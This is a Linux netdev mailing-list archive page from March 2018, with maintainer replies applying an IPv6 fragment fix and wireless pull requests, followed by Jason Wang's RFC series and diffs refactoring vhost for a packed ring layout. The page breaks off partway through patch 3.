* Re: [PATCH net v2] ipv6: the entire IPv6 header chain must fit the first fragment
From: David Miller @ 2018-03-26 1:18 UTC (permalink / raw)
To: pabeni
Cc: netdev, dsahern, syzbot+91e6f9932ff122fa4410, syzkaller-bugs,
eric.dumazet
In-Reply-To: <43638c155545c57a4b332c64771a1e9b0238148c.1521812678.git.pabeni@redhat.com>
From: Paolo Abeni <pabeni@redhat.com>
Date: Fri, 23 Mar 2018 14:47:30 +0100
> While building ipv6 datagram we currently allow arbitrary large
> extheaders, even beyond pmtu size. The syzbot has found a way
> to exploit the above to trigger the following splat:
...
> As stated by RFC 7112 section 5:
>
> When a host fragments an IPv6 datagram, it MUST include the entire
> IPv6 Header Chain in the First Fragment.
>
> So this patch addresses the issue dropping datagrams with excessive
> extheader length. It also updates the error path to report to the
> calling socket nonnegative pmtu values.
>
> The issue apparently predates git history.
>
> v1 -> v2: cleanup error path, as per Eric's suggestion
>
> Fixes: 1da177e4c3f4 ("Linux-2.6.12-rc2")
> Reported-by: syzbot+91e6f9932ff122fa4410@syzkaller.appspotmail.com
> Signed-off-by: Paolo Abeni <pabeni@redhat.com>
Applied and queued up for -stable.
^ permalink raw reply
* Re: [RFC PATCH net-next] tipc: tipc_disc_addr_trial_msg() can be static
From: David Miller @ 2018-03-26 1:23 UTC (permalink / raw)
To: fengguang.wu
Cc: jon.maloy, kbuild-all, netdev, ying.xue, tipc-discussion,
linux-kernel
In-Reply-To: <20180323194742.GA68339@athens>
From: kbuild test robot <fengguang.wu@intel.com>
Date: Sat, 24 Mar 2018 03:47:42 +0800
> Fixes: 25b0b9c4e835 ("tipc: handle collisions of 32-bit node address hash values")
> Signed-off-by: Fengguang Wu <fengguang.wu@intel.com>
Applied.
^ permalink raw reply
* Re: pull-request: wireless-drivers 2018-03-24
From: David Miller @ 2018-03-26 1:26 UTC (permalink / raw)
To: kvalo; +Cc: linux-wireless, netdev, linux-kernel
In-Reply-To: <87sh8prb0u.fsf@kamboji.qca.qualcomm.com>
From: Kalle Valo <kvalo@codeaurora.org>
Date: Sat, 24 Mar 2018 13:03:13 +0200
> This is a pull request to the net tree for 4.16. I'm not planning to
> send anything more in this cycle for 4.16, unless something really major
> comes up.
>
> Please let me know if you have any problems.
Pulled.
^ permalink raw reply
* Re: pull-request: wireless-drivers-next 2018-03-24
From: David Miller @ 2018-03-26 1:28 UTC (permalink / raw)
To: kvalo; +Cc: linux-wireless, netdev, linux-kernel
In-Reply-To: <87o9jdr706.fsf@kamboji.qca.qualcomm.com>
From: Kalle Valo <kvalo@codeaurora.org>
Date: Sat, 24 Mar 2018 14:30:01 +0200
> here's the first pull request to net-next for 4.17. What's special here
> is the addition of a new bluetooth driver, but that's been acked by
> Marcel. Also we add a new include file to include/net because of that.
>
> Please let me know if you have any problems.
Also pulled, thanks Kalle.
^ permalink raw reply
* [RFC PATCH V2 0/8] Packed ring for vhost
From: Jason Wang @ 2018-03-26 3:38 UTC (permalink / raw)
To: mst, virtualization; +Cc: kvm, netdev, linux-kernel, Jason Wang
Hi all:
This RFC implement packed ring layout. The code were tested with pmd
implement by Jens at
http://dpdk.org/ml/archives/dev/2018-January/089417.html. Minor change
was needed for pmd codes to kick virtqueue since it assumes a busy
polling backend.
Test were done between localhost and guest. Testpmd (rxonly) in guest
reports 2.4Mpps. Testpmd (txonly) repots about 2.1Mpps.
Notes: The event suppression /indirect descriptor support is complied
test only because of lacked driver support.
Changes from V1:
- Refactor vhost used elem code to avoid open coding on used elem
- Event suppression support (compile test only).
- Indirect descriptor support (compile test only).
- Zerocopy support.
- vIOMMU support.
- SCSI/VSOCK support (compile test only).
- Fix several bugs
For simplicity, I don't implement batching or other optimizations.
Please review.
Thanks
Jason Wang (8):
vhost: move get_rx_bufs to vhost.c
vhost: hide used ring layout from device
vhost: do not use vring_used_elem
vhost_net: do not explicitly manipulate vhost_used_elem
vhost: vhost_put_user() can accept metadata type
virtio: introduce packed ring defines
vhost: packed ring support
vhost: event suppression for packed ring
drivers/vhost/net.c | 138 ++-----
drivers/vhost/scsi.c | 62 +--
drivers/vhost/vhost.c | 818 ++++++++++++++++++++++++++++++++++---
drivers/vhost/vhost.h | 46 ++-
drivers/vhost/vsock.c | 42 +-
include/uapi/linux/virtio_config.h | 9 +
include/uapi/linux/virtio_ring.h | 32 ++
7 files changed, 921 insertions(+), 226 deletions(-)
--
2.7.4
^ permalink raw reply
* [RFC PATCH V2 2/8] vhost: hide used ring layout from device
From: Jason Wang @ 2018-03-26 3:38 UTC (permalink / raw)
To: mst, virtualization; +Cc: kvm, netdev, linux-kernel, Jason Wang
In-Reply-To: <1522035533-11786-1-git-send-email-jasowang@redhat.com>
We used to return descriptor head by vhost_get_vq_desc() to device and
pass it back to vhost_add_used() and its friends. This exposes the
internal used ring layout to device which makes it hard to be extended for
e.g packed ring layout.
So this patch tries to hide the used ring layout by
- letting vhost_get_vq_desc() return pointer to struct vring_used_elem
- accepting pointer to struct vring_used_elem in vhost_add_used() and
vhost_add_used_and_signal()
This could help to hide used ring layout and make it easier to
implement packed ring on top.
Signed-off-by: Jason Wang <jasowang@redhat.com>
---
drivers/vhost/net.c | 46 +++++++++++++++++++++-----------------
drivers/vhost/scsi.c | 62 +++++++++++++++++++++++++++------------------------
drivers/vhost/vhost.c | 52 +++++++++++++++++++++---------------------
drivers/vhost/vhost.h | 9 +++++---
drivers/vhost/vsock.c | 42 +++++++++++++++++-----------------
5 files changed, 112 insertions(+), 99 deletions(-)
diff --git a/drivers/vhost/net.c b/drivers/vhost/net.c
index 57dfa63..f821fcd 100644
--- a/drivers/vhost/net.c
+++ b/drivers/vhost/net.c
@@ -422,22 +422,24 @@ static int vhost_net_enable_vq(struct vhost_net *n,
static int vhost_net_tx_get_vq_desc(struct vhost_net *net,
struct vhost_virtqueue *vq,
+ struct vring_used_elem *used_elem,
struct iovec iov[], unsigned int iov_size,
unsigned int *out_num, unsigned int *in_num)
{
unsigned long uninitialized_var(endtime);
- int r = vhost_get_vq_desc(vq, vq->iov, ARRAY_SIZE(vq->iov),
+ int r = vhost_get_vq_desc(vq, used_elem, vq->iov, ARRAY_SIZE(vq->iov),
out_num, in_num, NULL, NULL);
- if (r == vq->num && vq->busyloop_timeout) {
+ if (r == -ENOSPC && vq->busyloop_timeout) {
preempt_disable();
endtime = busy_clock() + vq->busyloop_timeout;
while (vhost_can_busy_poll(vq->dev, endtime) &&
vhost_vq_avail_empty(vq->dev, vq))
cpu_relax();
preempt_enable();
- r = vhost_get_vq_desc(vq, vq->iov, ARRAY_SIZE(vq->iov),
- out_num, in_num, NULL, NULL);
+ r = vhost_get_vq_desc(vq, used_elem, vq->iov,
+ ARRAY_SIZE(vq->iov), out_num, in_num,
+ NULL, NULL);
}
return r;
@@ -459,7 +461,6 @@ static void handle_tx(struct vhost_net *net)
struct vhost_net_virtqueue *nvq = &net->vqs[VHOST_NET_VQ_TX];
struct vhost_virtqueue *vq = &nvq->vq;
unsigned out, in;
- int head;
struct msghdr msg = {
.msg_name = NULL,
.msg_namelen = 0,
@@ -472,6 +473,7 @@ static void handle_tx(struct vhost_net *net)
size_t hdr_size;
struct socket *sock;
struct vhost_net_ubuf_ref *uninitialized_var(ubufs);
+ struct vring_used_elem used;
bool zcopy, zcopy_used;
mutex_lock(&vq->mutex);
@@ -494,20 +496,20 @@ static void handle_tx(struct vhost_net *net)
vhost_zerocopy_signal_used(net, vq);
- head = vhost_net_tx_get_vq_desc(net, vq, vq->iov,
- ARRAY_SIZE(vq->iov),
- &out, &in);
- /* On error, stop handling until the next kick. */
- if (unlikely(head < 0))
- break;
+ err = vhost_net_tx_get_vq_desc(net, vq, &used, vq->iov,
+ ARRAY_SIZE(vq->iov),
+ &out, &in);
/* Nothing new? Wait for eventfd to tell us they refilled. */
- if (head == vq->num) {
+ if (err == -ENOSPC) {
if (unlikely(vhost_enable_notify(&net->dev, vq))) {
vhost_disable_notify(&net->dev, vq);
continue;
}
break;
}
+ /* On error, stop handling until the next kick. */
+ if (unlikely(err < 0))
+ break;
if (in) {
vq_err(vq, "Unexpected descriptor format for TX: "
"out %d, int %d\n", out, in);
@@ -535,7 +537,8 @@ static void handle_tx(struct vhost_net *net)
struct ubuf_info *ubuf;
ubuf = nvq->ubuf_info + nvq->upend_idx;
- vq->heads[nvq->upend_idx].id = cpu_to_vhost32(vq, head);
+ vq->heads[nvq->upend_idx].id =
+ cpu_to_vhost32(vq, used.id);
vq->heads[nvq->upend_idx].len = VHOST_DMA_IN_PROGRESS;
ubuf->callback = vhost_zerocopy_callback;
ubuf->ctx = nvq->ubufs;
@@ -576,7 +579,7 @@ static void handle_tx(struct vhost_net *net)
pr_debug("Truncated TX packet: "
" len %d != %zd\n", err, len);
if (!zcopy_used)
- vhost_add_used_and_signal(&net->dev, vq, head, 0);
+ vhost_add_used_and_signal(&net->dev, vq, &used, 0);
else
vhost_zerocopy_signal_used(net, vq);
vhost_net_tx_packet(net);
@@ -707,14 +710,12 @@ static void handle_rx(struct vhost_net *net)
while ((sock_len = vhost_net_rx_peek_head_len(net, sock->sk))) {
sock_len += sock_hlen;
vhost_len = sock_len + vhost_hlen;
- headcount = vhost_get_bufs(vq, vq->heads + nheads, vhost_len,
- &in, vq_log, &log,
- likely(mergeable) ? UIO_MAXIOV : 1);
- /* On error, stop handling until the next kick. */
- if (unlikely(headcount < 0))
- goto out;
+ err = vhost_get_bufs(vq, vq->heads + nheads, vhost_len,
+ &in, vq_log, &log,
+ likely(mergeable) ? UIO_MAXIOV : 1,
+ &headcount);
/* OK, now we need to know about added descriptors. */
- if (!headcount) {
+ if (err == -ENOSPC) {
if (unlikely(vhost_enable_notify(&net->dev, vq))) {
/* They have slipped one in as we were
* doing that: check again. */
@@ -725,6 +726,9 @@ static void handle_rx(struct vhost_net *net)
* they refilled. */
goto out;
}
+ /* On error, stop handling until the next kick. */
+ if (unlikely(err < 0))
+ goto out;
if (nvq->rx_ring)
msg.msg_control = vhost_net_buf_consume(&nvq->rxq);
/* On overrun, truncate and discard */
diff --git a/drivers/vhost/scsi.c b/drivers/vhost/scsi.c
index 7ad5709..654c71f 100644
--- a/drivers/vhost/scsi.c
+++ b/drivers/vhost/scsi.c
@@ -67,7 +67,7 @@ struct vhost_scsi_inflight {
struct vhost_scsi_cmd {
/* Descriptor from vhost_get_vq_desc() for virt_queue segment */
- int tvc_vq_desc;
+ struct vring_used_elem tvc_vq_used;
/* virtio-scsi initiator task attribute */
int tvc_task_attr;
/* virtio-scsi response incoming iovecs */
@@ -441,8 +441,9 @@ vhost_scsi_do_evt_work(struct vhost_scsi *vs, struct vhost_scsi_evt *evt)
struct vhost_virtqueue *vq = &vs->vqs[VHOST_SCSI_VQ_EVT].vq;
struct virtio_scsi_event *event = &evt->event;
struct virtio_scsi_event __user *eventp;
+ struct vring_used_elem used;
unsigned out, in;
- int head, ret;
+ int ret;
if (!vq->private_data) {
vs->vs_events_missed = true;
@@ -451,16 +452,16 @@ vhost_scsi_do_evt_work(struct vhost_scsi *vs, struct vhost_scsi_evt *evt)
again:
vhost_disable_notify(&vs->dev, vq);
- head = vhost_get_vq_desc(vq, vq->iov,
+ ret = vhost_get_vq_desc(vq, &used, vq->iov,
ARRAY_SIZE(vq->iov), &out, &in,
NULL, NULL);
- if (head < 0) {
+ if (ret == -ENOSPC) {
+ if (vhost_enable_notify(&vs->dev, vq))
+ goto again;
vs->vs_events_missed = true;
return;
}
- if (head == vq->num) {
- if (vhost_enable_notify(&vs->dev, vq))
- goto again;
+ if (ret < 0) {
vs->vs_events_missed = true;
return;
}
@@ -480,7 +481,7 @@ vhost_scsi_do_evt_work(struct vhost_scsi *vs, struct vhost_scsi_evt *evt)
eventp = vq->iov[out].iov_base;
ret = __copy_to_user(eventp, event, sizeof(*event));
if (!ret)
- vhost_add_used_and_signal(&vs->dev, vq, head, 0);
+ vhost_add_used_and_signal(&vs->dev, vq, &used, 0);
else
vq_err(vq, "Faulted on vhost_scsi_send_event\n");
}
@@ -541,7 +542,7 @@ static void vhost_scsi_complete_cmd_work(struct vhost_work *work)
ret = copy_to_iter(&v_rsp, sizeof(v_rsp), &iov_iter);
if (likely(ret == sizeof(v_rsp))) {
struct vhost_scsi_virtqueue *q;
- vhost_add_used(cmd->tvc_vq, cmd->tvc_vq_desc, 0);
+ vhost_add_used(cmd->tvc_vq, &cmd->tvc_vq_used, 0);
q = container_of(cmd->tvc_vq, struct vhost_scsi_virtqueue, vq);
vq = q - vs->vqs;
__set_bit(vq, signal);
@@ -784,7 +785,7 @@ static void vhost_scsi_submission_work(struct work_struct *work)
static void
vhost_scsi_send_bad_target(struct vhost_scsi *vs,
struct vhost_virtqueue *vq,
- int head, unsigned out)
+ struct vring_used_elem *used, unsigned out)
{
struct virtio_scsi_cmd_resp __user *resp;
struct virtio_scsi_cmd_resp rsp;
@@ -795,7 +796,7 @@ vhost_scsi_send_bad_target(struct vhost_scsi *vs,
resp = vq->iov[out].iov_base;
ret = __copy_to_user(resp, &rsp, sizeof(rsp));
if (!ret)
- vhost_add_used_and_signal(&vs->dev, vq, head, 0);
+ vhost_add_used_and_signal(&vs->dev, vq, used, 0);
else
pr_err("Faulted on virtio_scsi_cmd_resp\n");
}
@@ -807,11 +808,12 @@ vhost_scsi_handle_vq(struct vhost_scsi *vs, struct vhost_virtqueue *vq)
struct virtio_scsi_cmd_req v_req;
struct virtio_scsi_cmd_req_pi v_req_pi;
struct vhost_scsi_cmd *cmd;
+ struct vring_used_elem used;
struct iov_iter out_iter, in_iter, prot_iter, data_iter;
u64 tag;
u32 exp_data_len, data_direction;
unsigned int out = 0, in = 0;
- int head, ret, prot_bytes;
+ int ret, prot_bytes;
size_t req_size, rsp_size = sizeof(struct virtio_scsi_cmd_resp);
size_t out_size, in_size;
u16 lun;
@@ -831,22 +833,22 @@ vhost_scsi_handle_vq(struct vhost_scsi *vs, struct vhost_virtqueue *vq)
vhost_disable_notify(&vs->dev, vq);
for (;;) {
- head = vhost_get_vq_desc(vq, vq->iov,
- ARRAY_SIZE(vq->iov), &out, &in,
- NULL, NULL);
+ ret = vhost_get_vq_desc(vq, &used, vq->iov,
+ ARRAY_SIZE(vq->iov), &out, &in,
+ NULL, NULL);
pr_debug("vhost_get_vq_desc: head: %d, out: %u in: %u\n",
- head, out, in);
- /* On error, stop handling until the next kick. */
- if (unlikely(head < 0))
- break;
+ used.id, out, in);
/* Nothing new? Wait for eventfd to tell us they refilled. */
- if (head == vq->num) {
+ if (ret == -ENOSPC) {
if (unlikely(vhost_enable_notify(&vs->dev, vq))) {
vhost_disable_notify(&vs->dev, vq);
continue;
}
break;
}
+ /* On error, stop handling until the next kick. */
+ if (unlikely(ret < 0))
+ break;
/*
* Check for a sane response buffer so we can report early
* errors back to the guest.
@@ -891,20 +893,20 @@ vhost_scsi_handle_vq(struct vhost_scsi *vs, struct vhost_virtqueue *vq)
if (unlikely(!copy_from_iter_full(req, req_size, &out_iter))) {
vq_err(vq, "Faulted on copy_from_iter\n");
- vhost_scsi_send_bad_target(vs, vq, head, out);
+ vhost_scsi_send_bad_target(vs, vq, &used, out);
continue;
}
/* virtio-scsi spec requires byte 0 of the lun to be 1 */
if (unlikely(*lunp != 1)) {
vq_err(vq, "Illegal virtio-scsi lun: %u\n", *lunp);
- vhost_scsi_send_bad_target(vs, vq, head, out);
+ vhost_scsi_send_bad_target(vs, vq, &used, out);
continue;
}
tpg = READ_ONCE(vs_tpg[*target]);
if (unlikely(!tpg)) {
/* Target does not exist, fail the request */
- vhost_scsi_send_bad_target(vs, vq, head, out);
+ vhost_scsi_send_bad_target(vs, vq, &used, out);
continue;
}
/*
@@ -950,7 +952,8 @@ vhost_scsi_handle_vq(struct vhost_scsi *vs, struct vhost_virtqueue *vq)
if (data_direction != DMA_TO_DEVICE) {
vq_err(vq, "Received non zero pi_bytesout,"
" but wrong data_direction\n");
- vhost_scsi_send_bad_target(vs, vq, head, out);
+ vhost_scsi_send_bad_target(vs, vq,
+ &used, out);
continue;
}
prot_bytes = vhost32_to_cpu(vq, v_req_pi.pi_bytesout);
@@ -958,7 +961,8 @@ vhost_scsi_handle_vq(struct vhost_scsi *vs, struct vhost_virtqueue *vq)
if (data_direction != DMA_FROM_DEVICE) {
vq_err(vq, "Received non zero pi_bytesin,"
" but wrong data_direction\n");
- vhost_scsi_send_bad_target(vs, vq, head, out);
+ vhost_scsi_send_bad_target(vs, vq,
+ &used, out);
continue;
}
prot_bytes = vhost32_to_cpu(vq, v_req_pi.pi_bytesin);
@@ -996,7 +1000,7 @@ vhost_scsi_handle_vq(struct vhost_scsi *vs, struct vhost_virtqueue *vq)
vq_err(vq, "Received SCSI CDB with command_size: %d that"
" exceeds SCSI_MAX_VARLEN_CDB_SIZE: %d\n",
scsi_command_size(cdb), VHOST_SCSI_MAX_CDB_SIZE);
- vhost_scsi_send_bad_target(vs, vq, head, out);
+ vhost_scsi_send_bad_target(vs, vq, &used, out);
continue;
}
cmd = vhost_scsi_get_tag(vq, tpg, cdb, tag, lun, task_attr,
@@ -1005,7 +1009,7 @@ vhost_scsi_handle_vq(struct vhost_scsi *vs, struct vhost_virtqueue *vq)
if (IS_ERR(cmd)) {
vq_err(vq, "vhost_scsi_get_tag failed %ld\n",
PTR_ERR(cmd));
- vhost_scsi_send_bad_target(vs, vq, head, out);
+ vhost_scsi_send_bad_target(vs, vq, &used, out);
continue;
}
cmd->tvc_vhost = vs;
@@ -1025,7 +1029,7 @@ vhost_scsi_handle_vq(struct vhost_scsi *vs, struct vhost_virtqueue *vq)
if (unlikely(ret)) {
vq_err(vq, "Failed to map iov to sgl\n");
vhost_scsi_release_cmd(&cmd->tvc_se_cmd);
- vhost_scsi_send_bad_target(vs, vq, head, out);
+ vhost_scsi_send_bad_target(vs, vq, &used, out);
continue;
}
}
@@ -1034,7 +1038,7 @@ vhost_scsi_handle_vq(struct vhost_scsi *vs, struct vhost_virtqueue *vq)
* complete the virtio-scsi request in TCM callback context via
* vhost_scsi_queue_data_in() and vhost_scsi_queue_status()
*/
- cmd->tvc_vq_desc = head;
+ cmd->tvc_vq_used = used;
/*
* Dispatch cmd descriptor for cmwq execution in process
* context provided by vhost_scsi_workqueue. This also ensures
diff --git a/drivers/vhost/vhost.c b/drivers/vhost/vhost.c
index c57df71..83cb1dc 100644
--- a/drivers/vhost/vhost.c
+++ b/drivers/vhost/vhost.c
@@ -1956,6 +1956,7 @@ static int get_indirect(struct vhost_virtqueue *vq,
* never a valid descriptor number) if none was found. A negative code is
* returned on error. */
int vhost_get_vq_desc(struct vhost_virtqueue *vq,
+ struct vring_used_elem *used,
struct iovec iov[], unsigned int iov_size,
unsigned int *out_num, unsigned int *in_num,
struct vhost_log *log, unsigned int *log_num)
@@ -1988,7 +1989,7 @@ int vhost_get_vq_desc(struct vhost_virtqueue *vq,
* invalid.
*/
if (vq->avail_idx == last_avail_idx)
- return vq->num;
+ return -ENOSPC;
/* Only get avail ring entries after they have been
* exposed by guest.
@@ -2006,6 +2007,7 @@ int vhost_get_vq_desc(struct vhost_virtqueue *vq,
return -EFAULT;
}
+ used->id = ring_head;
head = vhost16_to_cpu(vq, ring_head);
/* If their number is silly, that's an error. */
@@ -2094,10 +2096,16 @@ int vhost_get_vq_desc(struct vhost_virtqueue *vq,
/* Assume notifications from guest are disabled at this point,
* if they aren't we would need to update avail_event index. */
BUG_ON(!(vq->used_flags & VRING_USED_F_NO_NOTIFY));
- return head;
+ return 0;
}
EXPORT_SYMBOL_GPL(vhost_get_vq_desc);
+static void vhost_set_used_len(struct vhost_virtqueue *vq,
+ struct vring_used_elem *used, int len)
+{
+ used->len = cpu_to_vhost32(vq, len);
+}
+
/* This is a multi-buffer version of vhost_get_desc, that works if
* vq has read descriptors only.
* @vq - the relevant virtqueue
@@ -2114,13 +2122,13 @@ int vhost_get_bufs(struct vhost_virtqueue *vq,
unsigned *iovcount,
struct vhost_log *log,
unsigned *log_num,
- unsigned int quota)
+ unsigned int quota,
+ s16 *count)
{
unsigned int out, in;
int seg = 0;
int headcount = 0;
- unsigned d;
- int r, nlogs = 0;
+ int r = 0, nlogs = 0;
/* len is always initialized before use since we are always called with
* datalen > 0.
*/
@@ -2131,17 +2139,12 @@ int vhost_get_bufs(struct vhost_virtqueue *vq,
r = -ENOBUFS;
goto err;
}
- r = vhost_get_vq_desc(vq, vq->iov + seg,
+ r = vhost_get_vq_desc(vq, &heads[headcount], vq->iov + seg,
ARRAY_SIZE(vq->iov) - seg, &out,
&in, log, log_num);
if (unlikely(r < 0))
goto err;
- d = r;
- if (d == vq->num) {
- r = 0;
- goto err;
- }
if (unlikely(out || in <= 0)) {
vq_err(vq, "unexpected descriptor format for RX: "
"out %d, in %d\n", out, in);
@@ -2152,24 +2155,26 @@ int vhost_get_bufs(struct vhost_virtqueue *vq,
nlogs += *log_num;
log += *log_num;
}
- heads[headcount].id = cpu_to_vhost32(vq, d);
+
len = iov_length(vq->iov + seg, in);
- heads[headcount].len = cpu_to_vhost32(vq, len);
+ vhost_set_used_len(vq, &heads[headcount], len);
datalen -= len;
++headcount;
seg += in;
}
- heads[headcount - 1].len = cpu_to_vhost32(vq, len + datalen);
+ vhost_set_used_len(vq, &heads[headcount - 1], len + datalen);
*iovcount = seg;
if (unlikely(log))
*log_num = nlogs;
/* Detect overrun */
if (unlikely(datalen > 0)) {
- r = UIO_MAXIOV + 1;
+ headcount = UIO_MAXIOV + 1;
goto err;
}
- return headcount;
+
+ *count = headcount;
+ return 0;
err:
vhost_discard_vq_desc(vq, headcount);
return r;
@@ -2185,14 +2190,11 @@ EXPORT_SYMBOL_GPL(vhost_discard_vq_desc);
/* After we've used one of their buffers, we tell them about it. We'll then
* want to notify the guest, using eventfd. */
-int vhost_add_used(struct vhost_virtqueue *vq, unsigned int head, int len)
+int vhost_add_used(struct vhost_virtqueue *vq, struct vring_used_elem *used,
+ int len)
{
- struct vring_used_elem heads = {
- cpu_to_vhost32(vq, head),
- cpu_to_vhost32(vq, len)
- };
-
- return vhost_add_used_n(vq, &heads, 1);
+ vhost_set_used_len(vq, used, len);
+ return vhost_add_used_n(vq, used, 1);
}
EXPORT_SYMBOL_GPL(vhost_add_used);
@@ -2325,9 +2327,9 @@ EXPORT_SYMBOL_GPL(vhost_signal);
/* And here's the combo meal deal. Supersize me! */
void vhost_add_used_and_signal(struct vhost_dev *dev,
struct vhost_virtqueue *vq,
- unsigned int head, int len)
+ struct vring_used_elem *used, int len)
{
- vhost_add_used(vq, head, len);
+ vhost_add_used(vq, used, len);
vhost_signal(dev, vq);
}
EXPORT_SYMBOL_GPL(vhost_add_used_and_signal);
diff --git a/drivers/vhost/vhost.h b/drivers/vhost/vhost.h
index cbc2c80..477bfd2 100644
--- a/drivers/vhost/vhost.h
+++ b/drivers/vhost/vhost.h
@@ -182,6 +182,7 @@ int vhost_vq_access_ok(struct vhost_virtqueue *vq);
int vhost_log_access_ok(struct vhost_dev *);
int vhost_get_vq_desc(struct vhost_virtqueue *,
+ struct vring_used_elem *used_elem,
struct iovec iov[], unsigned int iov_count,
unsigned int *out_num, unsigned int *in_num,
struct vhost_log *log, unsigned int *log_num);
@@ -191,15 +192,17 @@ int vhost_get_bufs(struct vhost_virtqueue *vq,
unsigned *iovcount,
struct vhost_log *log,
unsigned *log_num,
- unsigned int quota);
+ unsigned int quota,
+ s16 *count);
void vhost_discard_vq_desc(struct vhost_virtqueue *, int n);
int vhost_vq_init_access(struct vhost_virtqueue *);
-int vhost_add_used(struct vhost_virtqueue *, unsigned int head, int len);
+int vhost_add_used(struct vhost_virtqueue *vq,
+ struct vring_used_elem *elem, int len);
int vhost_add_used_n(struct vhost_virtqueue *, struct vring_used_elem *heads,
unsigned count);
void vhost_add_used_and_signal(struct vhost_dev *, struct vhost_virtqueue *,
- unsigned int id, int len);
+ struct vring_used_elem *, int len);
void vhost_add_used_and_signal_n(struct vhost_dev *, struct vhost_virtqueue *,
struct vring_used_elem *heads, unsigned count);
void vhost_signal(struct vhost_dev *, struct vhost_virtqueue *);
diff --git a/drivers/vhost/vsock.c b/drivers/vhost/vsock.c
index 0d14e2f..fc20292 100644
--- a/drivers/vhost/vsock.c
+++ b/drivers/vhost/vsock.c
@@ -98,11 +98,12 @@ vhost_transport_do_send_pkt(struct vhost_vsock *vsock,
for (;;) {
struct virtio_vsock_pkt *pkt;
+ struct vring_used_elem used;
struct iov_iter iov_iter;
unsigned out, in;
size_t nbytes;
size_t len;
- int head;
+ int ret;
spin_lock_bh(&vsock->send_pkt_list_lock);
if (list_empty(&vsock->send_pkt_list)) {
@@ -116,16 +117,9 @@ vhost_transport_do_send_pkt(struct vhost_vsock *vsock,
list_del_init(&pkt->list);
spin_unlock_bh(&vsock->send_pkt_list_lock);
- head = vhost_get_vq_desc(vq, vq->iov, ARRAY_SIZE(vq->iov),
- &out, &in, NULL, NULL);
- if (head < 0) {
- spin_lock_bh(&vsock->send_pkt_list_lock);
- list_add(&pkt->list, &vsock->send_pkt_list);
- spin_unlock_bh(&vsock->send_pkt_list_lock);
- break;
- }
-
- if (head == vq->num) {
+ ret = vhost_get_vq_desc(vq, &used, vq->iov, ARRAY_SIZE(vq->iov),
+ &out, &in, NULL, NULL);
+ if (ret == -ENOSPC) {
spin_lock_bh(&vsock->send_pkt_list_lock);
list_add(&pkt->list, &vsock->send_pkt_list);
spin_unlock_bh(&vsock->send_pkt_list_lock);
@@ -139,6 +133,12 @@ vhost_transport_do_send_pkt(struct vhost_vsock *vsock,
}
break;
}
+ if (ret < 0) {
+ spin_lock_bh(&vsock->send_pkt_list_lock);
+ list_add(&pkt->list, &vsock->send_pkt_list);
+ spin_unlock_bh(&vsock->send_pkt_list_lock);
+ break;
+ }
if (out) {
virtio_transport_free_pkt(pkt);
@@ -146,7 +146,7 @@ vhost_transport_do_send_pkt(struct vhost_vsock *vsock,
break;
}
- len = iov_length(&vq->iov[out], in);
+ len = vhost32_to_cpu(vq, used.len);
iov_iter_init(&iov_iter, READ, &vq->iov[out], in, len);
nbytes = copy_to_iter(&pkt->hdr, sizeof(pkt->hdr), &iov_iter);
@@ -163,7 +163,7 @@ vhost_transport_do_send_pkt(struct vhost_vsock *vsock,
break;
}
- vhost_add_used(vq, head, sizeof(pkt->hdr) + pkt->len);
+ vhost_add_used(vq, &used, sizeof(pkt->hdr) + pkt->len);
added = true;
if (pkt->reply) {
@@ -346,7 +346,8 @@ static void vhost_vsock_handle_tx_kick(struct vhost_work *work)
struct vhost_vsock *vsock = container_of(vq->dev, struct vhost_vsock,
dev);
struct virtio_vsock_pkt *pkt;
- int head;
+ struct vring_used_elem used;
+ int ret;
unsigned int out, in;
bool added = false;
@@ -367,18 +368,17 @@ static void vhost_vsock_handle_tx_kick(struct vhost_work *work)
goto no_more_replies;
}
- head = vhost_get_vq_desc(vq, vq->iov, ARRAY_SIZE(vq->iov),
- &out, &in, NULL, NULL);
- if (head < 0)
- break;
-
- if (head == vq->num) {
+ ret = vhost_get_vq_desc(vq, &used, vq->iov, ARRAY_SIZE(vq->iov),
+ &out, &in, NULL, NULL);
+ if (ret == -ENOSPC) {
if (unlikely(vhost_enable_notify(&vsock->dev, vq))) {
vhost_disable_notify(&vsock->dev, vq);
continue;
}
break;
}
+ if (ret < 0)
+ break;
pkt = vhost_vsock_alloc_pkt(vq, out, in);
if (!pkt) {
@@ -397,7 +397,7 @@ static void vhost_vsock_handle_tx_kick(struct vhost_work *work)
else
virtio_transport_free_pkt(pkt);
- vhost_add_used(vq, head, sizeof(pkt->hdr) + len);
+ vhost_add_used(vq, &used, sizeof(pkt->hdr) + len);
added = true;
}
--
2.7.4
^ permalink raw reply related
* [RFC PATCH V2 3/8] vhost: do not use vring_used_elem
From: Jason Wang @ 2018-03-26 3:38 UTC (permalink / raw)
To: mst, virtualization; +Cc: kvm, netdev, linux-kernel, Jason Wang
In-Reply-To: <1522035533-11786-1-git-send-email-jasowang@redhat.com>
Instead of depending on the exported vring_used_elem, this patch
switches to use a new internal structure vhost_used_elem which embed
vring_used_elem in itself. This could be used to let vhost to record
extra metadata for the incoming packed ring layout.
Signed-off-by: Jason Wang <jasowang@redhat.com>
---
drivers/vhost/net.c | 19 ++++++++++---------
drivers/vhost/scsi.c | 10 +++++-----
drivers/vhost/vhost.c | 33 ++++++++++++++++-----------------
drivers/vhost/vhost.h | 18 +++++++++++-------
drivers/vhost/vsock.c | 6 +++---
5 files changed, 45 insertions(+), 41 deletions(-)
diff --git a/drivers/vhost/net.c b/drivers/vhost/net.c
index f821fcd..7ea2aee 100644
--- a/drivers/vhost/net.c
+++ b/drivers/vhost/net.c
@@ -337,10 +337,10 @@ static void vhost_zerocopy_signal_used(struct vhost_net *net,
int j = 0;
for (i = nvq->done_idx; i != nvq->upend_idx; i = (i + 1) % UIO_MAXIOV) {
- if (vq->heads[i].len == VHOST_DMA_FAILED_LEN)
+ if (vq->heads[i].elem.len == VHOST_DMA_FAILED_LEN)
vhost_net_tx_err(net);
- if (VHOST_DMA_IS_DONE(vq->heads[i].len)) {
- vq->heads[i].len = VHOST_DMA_CLEAR_LEN;
+ if (VHOST_DMA_IS_DONE(vq->heads[i].elem.len)) {
+ vq->heads[i].elem.len = VHOST_DMA_CLEAR_LEN;
++j;
} else
break;
@@ -363,7 +363,7 @@ static void vhost_zerocopy_callback(struct ubuf_info *ubuf, bool success)
rcu_read_lock_bh();
/* set len to mark this desc buffers done DMA */
- vq->heads[ubuf->desc].len = success ?
+ vq->heads[ubuf->desc].elem.len = success ?
VHOST_DMA_DONE_LEN : VHOST_DMA_FAILED_LEN;
cnt = vhost_net_ubuf_put(ubufs);
@@ -422,7 +422,7 @@ static int vhost_net_enable_vq(struct vhost_net *n,
